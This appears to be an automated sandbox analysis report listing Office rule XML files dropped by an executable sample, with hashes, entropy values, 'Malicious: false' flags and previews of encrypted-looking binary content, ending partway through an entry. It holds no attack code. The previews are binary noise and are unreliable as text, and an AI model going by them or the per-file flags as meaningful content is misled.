Preview:	<?xml9....BuHf..-.%.......9......Rv.....{$.lg.W....8.Q..fw...l.....;..?Q98mx@.lK..l.@<-D............yM.'..J"-~I ..h......NVx.^cB.qD.U...f...E.Y.W..N.o....u...J.}z3"~..o.zI.\}i/.[.j.....r..~L..i,.~".{.m..X.^..^'.>..............`.-...X.?E....g..`.......0E^...(...2E2..U[.d}.=.....+_O............a.w.....D.8.%..&...5...b.+..g4..K.x..X......x.O. h?......#..^.bx..?.....R..C.<..G.i...v..;.1}.xl.....Jy.gp#...Y.T.Nk...q..q.Q.$..N...._...R.\|._..J..B["8\|G%..f/..p..L...^=....1...Se...g...O.[-.B.c.........(H!.....p,c...A.K.!..kfn._.3."...B.M...=[-..]...2..DD<#.l.a....R9-V_..6...u..y....tJ..0.o.0....V.DM.2..(.{..N.f..&.~.Y.B.h.8.......`P6@.&xNP.....f.q...aS0..d..%..%.<.3\|[L.p7u.B.#.4.....VF...GK.F..,.&.F......!..i...?..Np2.b.rR..QO..0-..^h....m%.K..Nm{.O.Y..R..y.F.`.x..-D.5..?......%I..>...~-g.]jRd.z/5.....^..O......vk.....F.T...9"...w.....N6s.....R..$..2...w......V....a....D..1...'1E.A...M.3f.h...j..%._...d..~..1o..V.{.....h....,....+f.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.885566049864017
Encrypted:	false
SSDEEP:	24:7SnXNZaXY4CXoQH+7iKgPGdwnJPH+PQ2qgh1Fw6F7Y/X3s3kZ3E477bD:7SXrgnCYg+7iKgwwJPHjWX7YfsG3R7/D
MD5:	A34E88D1D1E071E0AE10AB5A3DFD4FDD
SHA1:	4191523FDD93C58552275D969F0F08E941244A2C
SHA-256:	B55DACE17D8C2482839FC431B72AFD0E2D6FFC401F549A791576AD8466475B5D
SHA-512:	DEDA05EBC79B8AE0BD80294CC636282E0A25FB38511A603DDE5C9189DF546D7AF175395C21B743EB41C5F207FAFE94FC097FE23BAFEAC04C2E34AC9C4BEEF1C0
Malicious:	false
Preview:	<?xml ..:.n6u...Z ..Q.F.`.Q3..}.,q}.Jp&#....%...[ZYb.f.VQ}D.a..4...8.H.+v....~.]...G..Lo.].a...\|........,..z...%..'.O......3tI.gFG. .uY..g....XV ..zS4.3..Z.l(.>V.^.I..p.....g<Xl...p.R...9.X2...kj,m.\f...N.Z@...r.!..v.R.O..1..2k.......@..%v.P....a6.tP\EG.&.G..........."4.L.b..1...K5.`.(.{!&. 7.8./.v.i....D}.,O>.cx.d.N...g...E..`\.\...W+T......}..,....ON'y....1..FQ...);....$....n...'......in.* ..K.2`Lf.bf./EL.U..1.-w..JY.;....&..?_...'..TW0EE.-PUaD...!......J..\|.4.F..4......j:J....o<...)XNd.MBT......../0f=..7]....{.y\|.I..Jn.s.)..._.3.....8.1..g...-....D.Be.,O?....:bl.....p....7@J.^.~..q3t..b.a..Q.c..m.U.X.P.\s.eB....g.G.At.d..u.H.E.>.(#......-)c..;./?.+O..B....n..a.....$.P......5[.AXy.....c.6.....z..%.Z...:..r.M..O.n9.g.J.v.Mx..w...M......1z..n...z[..j.p...98C.........C.s..6tc.N+R..aA....B\|...?!p.{.?.....m'.r...N:Z)/..<<..Cz.R_...b.3.b.(.DJ..S.........j.".ZtI_.q.Z..c4FK....-y/+. O.....Fc<.J.%GD.......(L..p... ..yF.{.........P......9mz

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.875273196069154
Encrypted:	false
SSDEEP:	48:vNFWhSdhP/FILmZuBiK+OeTdQwtVKeB9lCsu8XMAvC2D:FgSd9/FILmcBiK+VTdRtvZN/6u
MD5:	2D2198FC08238F324E8F8DE92350E191
SHA1:	263CE8D7BE6D5C863E083CC12B3DC047C0495AE2
SHA-256:	BFB413DC21D675BEC7E41DB8C9F69006ABFAEF0B802AC46CD8CD5F927ECF5C0F
SHA-512:	EFA281850627BDFA70A86CE328465963ACBEDC2454808DBCB6A54D1F5A4AD36C96B50F2AAADD039981B625D76A39A1959E4EF122E6403D4E3B1113C00E07DC6A
Malicious:	false
Preview:	<?xml...o .RIXT+..F.{.-p........\s...L.".{8Fv..x....7.."`k+..&.C...N.)wB..3H.n.B"U.'..:.}.......v.E......3..U...0..M'......n..f.......c...."..?...%...+..3...H.8......S2..P.o].......$..@....k.W%C8..'..........ikm......K.32..&....'a...Ic.L.Uuc\%.7.d.@.5..C_..o.....g.....c.=:..e.'...W..M..J.k7Lt@.{...\|HYS.....DD1.X.K.....,Y....!.B..Hn...0....L..6.3q.1.c...M3..X_...^......\...P^.5d.>D.."t.W`....tx.x..-:..R.S.....O.....R.P.[d..~.@G\i3s.?.{e..V.w.A...]...,8...t....z@..U.+..,<vuX...S...dc...tm.....p..G`.i....2EI.&....jr...............;R.....!t....C..C.....0.#...}.Q9..]....&.t;y.#f\|.K.sIW...eCe...z.=.z.....\|......ew?.9/kt9j%..$......0...y..Z..h...Q;......?8N7.....n...&.h.<.O...).P....sC..d.....j..>a.j.e....}....xo.B..s..;GL.s._43~.>wD...Fy...fC..M.C...........s.u...J.D.kk...B...T.... .~....M.u.....m..M...8.......b...=.y...wf.Y..T.e./....3.!OX....v..t...qZ.+O0.O...y5.#.f:/.WdP.."j..8...~..E8.%k.(.c..<[[.$.....eWR..I...g..C3..a...\|....m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.890547694488323
Encrypted:	false
SSDEEP:	24:UDnHWJpQSTiw9aJKYXCr/emTUTOdS5JY+w0wywQlO7s8DnI0/VWI5WJ3sS4JbD:UjyCSuwzYE4Tny+wywQlO9DnV9FJS4pD
MD5:	619818E4A2879034C531EAAC79CC7C37
SHA1:	47BA7943873A7EB2CBEC1250EDAFC8D52B1D4E77
SHA-256:	8AA1D091DD90C8FBB5FBFEFF7C8C82B86EA8605987094CE44398FF8B0473D092
SHA-512:	69C7849789F3C3961409ABA6C37612CE960163A5F5E617A8FEAE53E0C79EBDA90D6A1C63E1A18133D0CE7EAB2380896B0A0E84C79CE109F88C1538681AB2D154
Malicious:	false
Preview:	<?xml.D.Wql.Xd.B9W.Y..tT.;+.. ........J.&..^.5.:..I.7....P..4.....Q...".w.....v.... ._.7..%.)Q...u.`.'..U..9...d.3..oI..:.>....k..`..B.c0.'...\|D.[..w..\|aiv.....r........Q.......$+.\|..8ry....P]A...I(.".%..........u)....G.,...8.K.5.G.......?{..Ie.~"..}.9.......Jp@......r.....P.jU.{...E....i.~.;.@.. .\+1......V8r.....C.......`......F<c&v]...B.....K.X...y.y...6f.av+C).....Y.,M.jg.:..s.)D.>.].r.n........J)Tg:tv+..FT.@.....x..A..[L.V./.5...~d.OK.....!.O~3....I.r.n..2..e...{.t?X.%..T.ae...j.t...n...Q.e:a....Z@B......s.E?....c..px.$L.a.,;...L.M(-..SWBgD1..j.e...D...`'wy.o-..{..i...}x...5l..+'c....VZ..?.......G.k=...6L........N..F'.P.y....2.7G.m.N....2.T...X.kZO6\|.a#..72\|:C.h.<Cf.Jg......MS....<........%.......-bq....*.Qp..j%n...#..O..g.W.@.m.3-<.^..>T..a.DU..Ev..?.0.....C...{......../.%..dq.ol.L]Z.M;.~..b..)U.N(w.2....qjp.A..A..VJ.P.x:.P......lG.Zs\.`'....Z..\|!mt.R....]P8;....3.4.l%....xd.r..;~.`..xW....... q.(g...}..E?.aEgF.?..?.....h}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879803521742143
Encrypted:	false
SSDEEP:	48:ZuKu9QCUCELSmxRGL91xzXQanbRYvgmID:uALw1FQSt/R
MD5:	C64EFD5C9B6BAC847FB0196DF2F950A3
SHA1:	05524D40C846946CD81A38261FB457139196411A
SHA-256:	A105C4080B60CE496FEFEC8FF1A4A9B492744349CD608B3217DBB9E86E0A936C
SHA-512:	0FB1F3B099876B8E3A0C447EF22000BF0A128EE85D9475BD1514B838E5DF50AD2BBC861781E8988618CCD62CA312179A0832DF2288D687A98B25F84A8D09CAD8
Malicious:	false
Preview:	<?xml.!.s.(..k.n.<.....P....r...O:.H....An.".......kw.Uo..9y.....\......M.x...m6g[.:......1.......Kl.A<...A...(m.N..O...\|h.B.'.C.)L..6.Y...~z..P.R~dZ...g.1...x(g.zy:.....l....._b........\..JV.."...ZR.B....z.....o..w.b..F....1...&..bYw.Dq.I....D7. ...'...Ze.).8...~yi...G.t.#F...MC.6F.}(.2.....{...................... t..?..f.y.)j?.g.....F;.%V.4.Sr...FyW.M..~pk.o@.~..H....j.'V.!..[......__.%...[...7G~Q.ID..7vC....E.[.G..{.&.=.........-.'r..gf..3..:.McqN..5u>.du.g...i.........=.3RQ,Z..p..V....d..d.2~..;.g.,z:............. .44qjob2....C..T-..6P.6.b.c.p.No..;3..@W.I.s.O.f..a'.D..u...Y.z]..<.x@....7...W........h.Y....M.....=.."... ..d.Jc..J.$....m..f....z>I...n..5]..?c.Iz..... 8L5h....gF.t.....86.eu.yI.kw.:i.7..\r..mM.:Y(>....-V.f..I,...0....m.u........8.._. 'k..x.oR.....3J.......%....z...._?j...fa.6..h..^..........fx.._6..Zr..\..Z.R..P.G\.7..8.+xh;.@...[.AI.W..`!.7v.x]%.....\.$:.JO.ds._..D.@.A(.G$.a#..>.y.P,.....,......w..TS...I.Y]=.E-...8....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.881631346907586
Encrypted:	false
SSDEEP:	48:uJKt5iTBuzw5XtmX0dULPV+cjiT883ZnoD:uJuiTBcw5kiUVmZ0
MD5:	90CEDE25751EC6F6EB59B7E5A9941C55
SHA1:	32D9CA97EDBE846DE33E34909B19C28590E98363
SHA-256:	6ADF4E1D20E5F2BB595CFF89F3BAB3A24BC2B2F2F3033B4254F70FCA65C7649A
SHA-512:	1691CD06291E13CD2289BE14F83717E2E071AF2C137083CA7820A7090F5268C82CBFE62009733DBFC872ADE8A42B221037E675E075C44BB23374F82C53F693F3
Malicious:	false
Preview:	<?xml...6hH..";.q.:.\m......}<.-$.A.=.I...1Z2.&..L.k2.....{z.D..1..d"....n....xj.D.....t.Z.h.;%./H.9;..rw.5W.wB$....N,...z0..........I(..<.%...2...mhy..j.......]b.3.16.e..'\|../0z.B..'...(.k+<.Y....F..n%....o.....~W4...K.J@...O;...L .......F[\|.h.1..T:U.6..!kBZ..+..}Xb"DE.8..=......i....>.R..{P.#.....\....I..i..i...ae.w......}.pv(.D'.....F.EG.[.W6f....=.i.E......Sx..1].l&6......QY.,G.:..e8Cn.?..5..w...Z.Q.../...B.h..l,..../.1....4.....1.....)H..y).YK.B.66..P..)`..B..X.c.?...zO&.c)...1..Y.O....ZL.[a0.e......P.K(...C...^NP~#b...o.b...N99.........h...f.Y....../zu.v..R..S...-6....7w..2.a...xu..Y.\%,.^.w...Y.@.........#..?...9Y.baT...(....j.$LP.14...8J.6..)@.?...{Q8. .4.}_...A.6...Z]......mP..f#5.l.....#%I...O..A.....LE....v..[...............'^.. ...a.x.v..`_.m.."....}..[!9e........K\..uc.L+./{C-^f.........3...Y.i.....;o/.d.9.v...T...8/.[.S[..D..`.......b..j.ki-..v.......Nn.......e..}..q...53. .\|f..$..(.b....[Q..!.x9..9..St.^i.[G..7...*.{d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.88125827607968
Encrypted:	false
SSDEEP:	48:ew16OB96xHapg1wrBp3BPvhT0FbSE7/DyyHuHFcjGkf3PUSID:COB96QhBp3BX+gELDtulcSkf3sd
MD5:	774C433298C69FF823F1FED2E2CAD3F7
SHA1:	18F627ABB616EABACC23FAAF3522C2DE9B745965
SHA-256:	D8E26810FFCD15A3B4EB7519EA7ECCA78855114ADABDAC3AD07DBD2AC9E75DE8
SHA-512:	73915594256F7481BBDD7B2C9F65BC5104BEEC8160F080E92B12F5DB4B21A749E9594E8413CF4B6714DA10F3DE59BF9E465D8F669A1BE19E1D21A42F61C4B592
Malicious:	false
Preview:	<?xml.'U8....u0.#.F.j.D.$.....Tx....(8.~..DqO...`......J.h.....T......x.a..EG..~....#u^P...#..v'....l(..G}C.y!.K.(.ub.q[..+..C.0._@.'....,...qA......V...5.....p.H....5.c.zO..0w.......p..Fl.d(......p.J1.P.'.M.l.--..[N.6.U.....F2.y..=-..V)&c.rw.dK;W..q..[K.U0.F6d2hv..e.f.:.=S..@xS.....gMF.SQ,.....t..9.~MN..pn.'....u..$....N(...EO.N. ,"...l..i..A.......O..>bK._....C.\|k..2~....P...(...6Fr....\|.....-C..@s..z..4v.....c..H!...d........W..Nh<t.Q....9.5X.vU..\|..$.Vi...s...0%.cx..n..n...........(..zA1.`....1.&..e..n9.s...$ ..._.0@3.Y....[....]A.0.5/.0....Gh..l\|..?'Qq..-...^.).].vi..T....?...y..c]k[7....NT..[s.usv.+,S.#.o2.....L..!..=....^Pwy..Cl%...G:m..uf(..i.\.X...BE..........B...}{...7C-?.........Dc_...2.7u...{.P=.V.Ni0....)..^Y.y.q.l,...'!u.4=....=..H1.R.E.A.r..Z.:..;...+8.......g..eca.Dd... o....q.......E}.,5R.......A.`.YW.-..W.Gg...r.0.8..D.@j.......B.Sd...6.G.;.r..}.....6I...[....?....b..C.......J>..U.a>.0j.MBwx ..........~hn...u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.91202486490104
Encrypted:	false
SSDEEP:	48:SMuQURcxFMrKDsg/TXVR7W5VV7wUrTFF8ExVsQxAgD:SZQ3qrKDx/T7M/7PrTFF8KO8
MD5:	FBEBA871201F50A5E48846C0BDB110DB
SHA1:	8B13AA57E3F114D4D5FF97D6ED2442BAAC88AEB4
SHA-256:	2C8245BD129A7C3E7F332AF6CA39E492579FC815BA3D2513DA932850FA5C5E01
SHA-512:	D3EF2EBA2172376EA8383012706F1105F93114B315BA6CD1AA8AD6583C42242FA58619FC4D4B75CF260D827D73B0A1DF9BE36ACE4062079D1BD7C75B089AB4AA
Malicious:	false
Preview:	<?xml...f6.Hh.....]C..ZJ..=m..h.8.:.u.......B..f.0?.G...~......x..<...nI..).:D.w..;.b2i#.<%......_.,...g..2.4..0.+z.-J{F...H.........L0V.Q.u(.`I....]...K.=n.+.....?NN..9...(...\...f.o.S.....YGX.D....$.'U......~..'6v.0.8..y_...H..s.T?oM._...W.k...AS...-.;.h."_..f..`.n..@..J.y4.K.....\|....._P.e....8....#.pT/?........t..{..G.5......w ..Z...MaX.5@..c...6?.M<+..V>.Q..N..........n}..Y.......0B......a...#.:d...nS...<d..X7Z...\|..8."....!E..u.E....."L..ku2....Lz...Iak....t(q9..G.\...-....y..=.[......[\|.....JzY1&.W.='.lF..li.1.$............I..].'..F. .s..t&......y ....}'.yi1f.B.'..^.........X.+...H.?.1,C........\|...B.Gp[9.RR..b\6...\.....i..B..@=....E.28..Kvn>..}.O...\........\|.....^'...5.a._4c..>.V.... j(.@.....D.1f4.z.1S.;.Y..7..K...E.,...t{cUg. ....K........\....g=.[........Z........I........-.....)...h.J.7....A....u...u...J..........Z.....L...b:..{C..h=....d..L.Uj#jy.dIy.......OVc^.p.\..A...g^.6R...J.].S.h.9......!N.&,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8810267108472445
Encrypted:	false
SSDEEP:	48:9DqIDbRtLJreAn1pz+DCZPSY2UbN1FMku4D:1DbDcw7z+e0Y2G1uTk
MD5:	2A3070E53109FCD3345A96F2A5D2D7FC
SHA1:	6B0A68C59607A43D666FC9CA47EDF14E84BF6F79
SHA-256:	51B0CC54AD7638B6847D3DC6726405A83521E41EADF651D658358BDC17E2F91B
SHA-512:	E24183D57EFC3E0805950F536D645368A4F9081C091773CE23EA1589B3AC53EB91466434233DE95BC9DD20F7ABAEE3F7C732DD7C9AB1D0C64E279EFF03473317
Malicious:	false
Preview:	<?xml...y!.e.S.r%....W.&...]..>..K...e.......>.k...3a...?[.d...i.L.i.=0.^. .>......J........"G8..::.s.......YU>......J..\|.@......."...".{.+....}2q.K."-n..!.VCs.j.G..k8>....k:....bC.-..{... N.....Q.o.....U..].t.Iw....}#>....."59....W...O......)$.dX.P.=......F....PM.l....3..X...z.Il...).O..k_B4.....Qz....%N.y.-..x...b.)..!.\|v.iHl.._.....7..Y'..Z\|....e...xup.]...)(...m4.B..O.....I.NJ..Ha.?....G.q.,../).Q..V..5..H.2!......oC........I.-o.^.....9.x.......u:9...].....`3..Gm...R...I........../..1......jD9...........'.v.......f....c`.w.u..%.c.-.P..1.Zu.....Jq.8F.....u...s=....>.(.,=.H....5.w......Z....l\Wj.s~..@N.$ ..m.^.......r..$]r.#...Q..z>m....L....~..f)..Q..6..32x.e.Xc'..?=.....cE?Q..yGf+.;U...y......#..qf.^.WJ.5s.,.z.Z.n..+.U...Y....."..5.."aMh9D.2....L....sCN......N.B.kZ/7i..g....exKU%..OxWAx.++e....b.q..a..P..T.6......{.....n.G..eGb!P?..<...?.a..5Oy..P.6....y.\|...%.....b.K %....]..y..w..7..`.@..rMi....J...,.......&..#F:..T.........O...c...(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.8748973124486445
Encrypted:	false
SSDEEP:	24:t/b6vclhv9VoeO4lYioqLT8QpNPAuCXR3bkPJLXQEF3XWgN3+CmAw0vK7W+Zjrl7:1zD1W/io0hPAHBrkdXQgpzjKTrRB2XgD
MD5:	B4653F18B639FEEC8DCA7496925786EF
SHA1:	6BC803BA1894D1B58CBC69D24917444B1995AB1E
SHA-256:	5687C0F73AF2AFE81EE8445BAC130F81F533CBE7EF26FE6B46E07798CDD2C5C2
SHA-512:	6101C471450D38198FB3A145F8C3B601ACC3B949AE4D23C8B7E01CB3D6CE0E88E5C69AEB0DC35A80F0A2D5CCDF6434F263244A83C21B18EA0BABDA3E5ABD2C89
Malicious:	false
Preview:	<?xml.Z.6.....L.@e..?.Rf.@ .d.b.O.~.FO.`.r.a..M?$..?+...M(.t...e.}~Ic......W..Ih..3x....rD.(...8......jK....D....Y...t.H..l7.5.m....3oU{!.E.k.>....$(?aA....W)qH..v\.].)..HdBo.Q...1.w...A.?.U.y"@..X......i..K.Gp......f5.}..j -_.T;.>\.>.l.LM.9.;nJ...d..d.B.....`y....U(..d.H...ww.............S.S?.U..l...PX..?.H.......D...v2....0..K.rM6..;3,.... o..9I.........x.}.N..t.6..$..#.wRv.......%..}...+YHL..K....&m.. A...\..}^..=G...b....C.T.~..0...7.%.>^..D.&k:.@e.......:'.KVt.......$.<D..h..C5$..z......Ps.F....D.`s....O...R.J.u...\....iRTtn.j....7$..u.7nq7c.sGs"....zX....9.S...d.2.=..s.x..S..G@...y.z.i.P..d..p:.J....-T....... ...$...H.6..%\D.#...{x..../.K}/..?....^G.......dA=.7_yx%.....>n......P......L.s.(t.[.'.."...V.........J.e..F....j...b.......Y"o.qOx.9K.0..Z.m.l0......p8A@.GUks.o.P=1.40..2w.5P..xd...q..i...$8...J....5..{*.V..}V..]..6..G:.U...../.Mo..h.`ex&.k^.w@p........4.r.....I!.mn^Z.....e..k.i.K.z.2M...v..jb.}.e@....QX..7....f."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.874271887759387
Encrypted:	false
SSDEEP:	48:ytB7k8XxbKOhiqpWyq8xeodALKylPK7cFD:W7G7pkA2APK78
MD5:	5D286EDBF5A19878E4F4CAE68D9FC7E2
SHA1:	DE8740A6917BDBDA8C0513A263E491CF27616E9D
SHA-256:	579E442972A2F5534BBAE73542E893B6E382CFFA50B0399D53A39B8EE7633FCC
SHA-512:	B26AD17611BAF9BAC87312D260084A9C558E8B36109C88AB5A5F35CBB74ACA6A42C7F7A699AEDB679FFDBC52BB36822AD40CC7F54BB0A40B36605B4914ECF931
Malicious:	false
Preview:	<?xml<..o..?r..2Ud.M1...ehfd...$\Hu..m.(.....o..!...4.7_\|...@....#...t..}.$....A...E..7S>.!.B... x..(...X.s.'..(.4r.."...R..v7R..7e.S.......\|.%.y......D..'@%k\.'`.E..K..d..5H...).T.%T`T... .`.H.....Ny...5....n..]...Z......#J.;..\|.>.e[.i.cW.s.C.m..OI9<S...I&v..=...2^..72.....3Q[.Qu...P.....f.ZK.{..f)".:W..fr...,.:.EEmD..>>E.C...Z..SV\.1..Y..{..l...I.ca..k.&M.'H.,.Jq)....vY..'R...-..T...`.zDcT..2........,\|.I..cCs...,.[.. ....1I..y.4..+.W...v.?.....>.4.E.M4.6...f.x...$1..M.........h.A.rJ.,..S.k%~...d!......6Q._.......l.......=.O..3.F.....L..".%...ga...G.d.Rk...N.s..S...n..t/.t....L..}......_..y....#.3.a+...`x.j.$..wy....m4....H$..x......y...J.^.-...l,(t ...r..X...}.lw.G.Os....#hr.=.#..V..m!.....4...9v.y.......+...=.a.P@.V3a..gy.T.W.8.%.}7./..6...r.6Q...g....5..4d...........}.........2.........Z.G.....k6..u...9..5..Y3....s..%es.)........,K$<z7I....}...apf..fTO......I.P..'.......V."l....S....(u$..'..J.I,7A.E...+.....>..#......^.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.890529359559957
Encrypted:	false
SSDEEP:	24:n1Vqq+jMPPLQvQcrgtaL6f6jdAw8oziv+4WSXHqu8IhK2qS1VhNNjtWVAr0cL8Yy:1AqVQvQci6jNKnLB9511dZcY1zwD
MD5:	05448DAE00AD1CD773612855527A5F1C
SHA1:	C6555C24785F4DE52D994BB9F8B89CDED944A391
SHA-256:	7A55BE05F2B42EBF42A01293F593DC96F94F478C03AE92BBE3906AC35216B784
SHA-512:	F6E90265814FECB1E3A3D781CB4A6C127ED5A30F516AC6701C1FDA74687878E8219BA578EA3E84A69188A30387EEBC5D977C195F0260D02744FCA0650FFBB9DC
Malicious:	false
Preview:	<?xml.27..Et..6.a..>l...?+~.....j,t.FT$.C......w...D..P.:..W~.c..O...0...#_.E...r.....x....cU...\|..L...5.....>.....$e.gf.g....b....i.E.l.;7..Kl....QDYIm...."C.zn.kx-5m....({?a.L@.Lt..1..a..w...g.Ny...PS...8...3..!yH..&..) H...(C....+.Oin.lj..Z.....m.b..a.U.b...%6.zWo...B[..5..p..../8.e.R...Iu...Z...O...}o..Y.I.?...~.O...Bw..!3..Lsz..F@E...oI.......F..O).$4,.....G...6j....."...N.5... .?".!k3n.N.ghu.2.."..V...xQ.l.L..p.ro.)... .....o..s..3y..........\|^..N..!`Q.X.W.;......%8.a..7...t.....7...2J.....Z.f..F.?.GKV........N>......Dc...:..X....=.R...(n..a6bINcM\..5....J.:].....}...W.'.....-O4.c..>$o.......p..UExP.....7.[..8.u.g......fm..d....0GF.iZ-+<[.l.B.........gd..c...w'P=..cN].cbt.u...Q..`. .Q."/..(.e.......Q.)......pv....@..e....Y... ..0.v.9..^t....Dm...j8.f.o.{M.[...al..a....8.~q.(..7...jW.4.i').&..U..*P.b.>}{.......YD........%.V...uJV.k3H....]E..cE.,.@.f..N.7 Mv......s......)M...\......`....H{Q.......!.sSdU...i.J...(...Q....0...exS.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.886737415692381
Encrypted:	false
SSDEEP:	48:IZdaOWGMGHFNKrDNoxNTZedlbG1EoKNVD:IjaOWGMGHvaDN8NTojD/Nt
MD5:	D40043603DF06FF71D806B48FB3EFD7D
SHA1:	8AC0A62FC4BEB36394439BD960ED8596C45827E3
SHA-256:	E71A3BEDB00913FE1B149D60738F78E32216CA674805237AAE4C7FD622283B3D
SHA-512:	281B8D33A64ED47BD96C697A524C7E65D47CE1C39247E9101A49126AA3AE5527F66A6C18894BF7F010DB611C874B0FDEF2712EAC7032D20A9C64EB9F93188686
Malicious:	false
Preview:	<?xml.6..NB.~t.....m...d:..L..z...f[.(........\|...Sd....N.C....sO..2......,as............1?..w........... .,f./....z..]y$3.._j'+$3...8...EkG.j....j...LE.8D..%.>WX."..\|.......>a.s..}t....7I....3-c../v.H...N....Mw>5.....].....P....\.m.3.o..P.&A.A2Y.+H....r.GQ...$..b..s... ....'1..YN.H.b...f2..o.....d.K.....N.@..UE...jU..]....CB....?/..W..b=K..._..B./U.2..t\|.$.D..o....q.vFnr,.).&P-#f.n.l..t8F.U.$...(.../.5.q..a......Q.R...{S........8.X.6YQ.a...U.T..Vv..6.E.....:ut.Km.^<.9{..A....J...2DCP.}A6..~'dlBw..w.j......j...3%....]Ji...?m.\.......O.f...Z..U.@.d@......8..+.l.w&.7aY./.x.%.3.;....R.ha...].^.S...L...a..j&).{.z..M`.p....G.V...a.<h1..N+..@2...N..N(..s.p..........M..c]....o..Q~.0.h<p..b.F.U.?P.....t!.yk..V9@..........=(.Z.5.9~~.n..k.K_..o.zx.~M%...'n.i.8..}.Tw...Me o\|...eoY..k...YviJ._.......?.:..j..v..w.i.\|[...G.g?.F.@.d*x[r.&a.....0y.[.........Q.^:0..y.......9.. .av...m..wJ7M.,\s...)J.b....y..S..f(O.ZCk..._..#8+.1$.. ..$:.;[.....e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.894134738562439
Encrypted:	false
SSDEEP:	24:IiHIzS1wAD6xfieesyWWaMTtxZpn1xbRHt/UeXEEhFdF3TNp4XHl0PZbExHMX7zY:RHIzksh0/Zx1xR2eUEzTPUuhbERMLzcD
MD5:	F25FE319B181211F039F45635FEE1F3A
SHA1:	EF5EBADEC41130EB53532D7F4F283726CEB922BC
SHA-256:	624A9E784EF2F61AD3160FB0C2CE0466542E78405CA8EA14220A52123A912F69
SHA-512:	6CD09AF9AE52EE0EDD9B2E833599AAB65F319E358E122F8655AAABF774110BFEDE3854C550A9BB48B77B59F02C80E4EFCAC20AB9279B5A9579A9BF2EAEBD8E04
Malicious:	false
Preview:	<?xml. .......z..=Y..RM#..H....UV........"{;b...`-E@..`...$..FfL[2..3.kx&.fN.......!?K.@n.L....p.9..:.q.....^.%..#..~......@....N.MS......~...l3.......F..2...y..].J\2.2...e(..!.tz..e......+3....6..oj?..`....+..Ykp.^.......<.L.....#.....G....D..3..._..0^f]>..L....t...O..2.oQ..o&f.N...t.>y9....G8(..]...7=A...R...Ua<.s.1..$.......lhb..^.xP..DG.j.&$.).,5..c.M.'Z...9G6....P.{ma..x:.cqMP...d.Ys.....r.B......CQ.6.@...J<...f...2...\|.c..fR...v.\|..:..`f?.-v!w...?....4.'..=.T...H%P...:..l...2pi.>C..o..T.RA~...FM.D. .B....B..K.H.....qj1.6...U..>....fjw.....N....c...l..m.T.4.5....48...P,..u.a.,w...-U...-.j..h.z.7......2.VJ.....?.[6.....g.zU...:......r6........d...)..Gz..P........c.2r.)...N~rvm...y.I...^..............N..\|..~.G'....E.z....9.4M....\|.{$.<.....z..6*hjgq..].-........\|..D..<B....PJz.Fw,6..v........s...JW.R.(~..+...Y...0...U...0.\|.......b..UWk.....C2....Cul..\|.G..:..D.zm..~....@F...a.".....~.9.>.......d.l.Z..{...7....)._...m.=......J.$fo&(%.b_.`.].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.903314720165569
Encrypted:	false
SSDEEP:	24:aISzLM82QGoXYtCcU7jZoUQG0ZyUxrFT614+y0b+qFC5jKzbTRj440v9iIsXrNvZ:1SPCoeQK9y6V0BFC5Gh4vW7NJD
MD5:	818C4E3212C9A92DA05F734145EBADC0
SHA1:	A516743B0C4611AB3B91A5856705900AE3747EFD
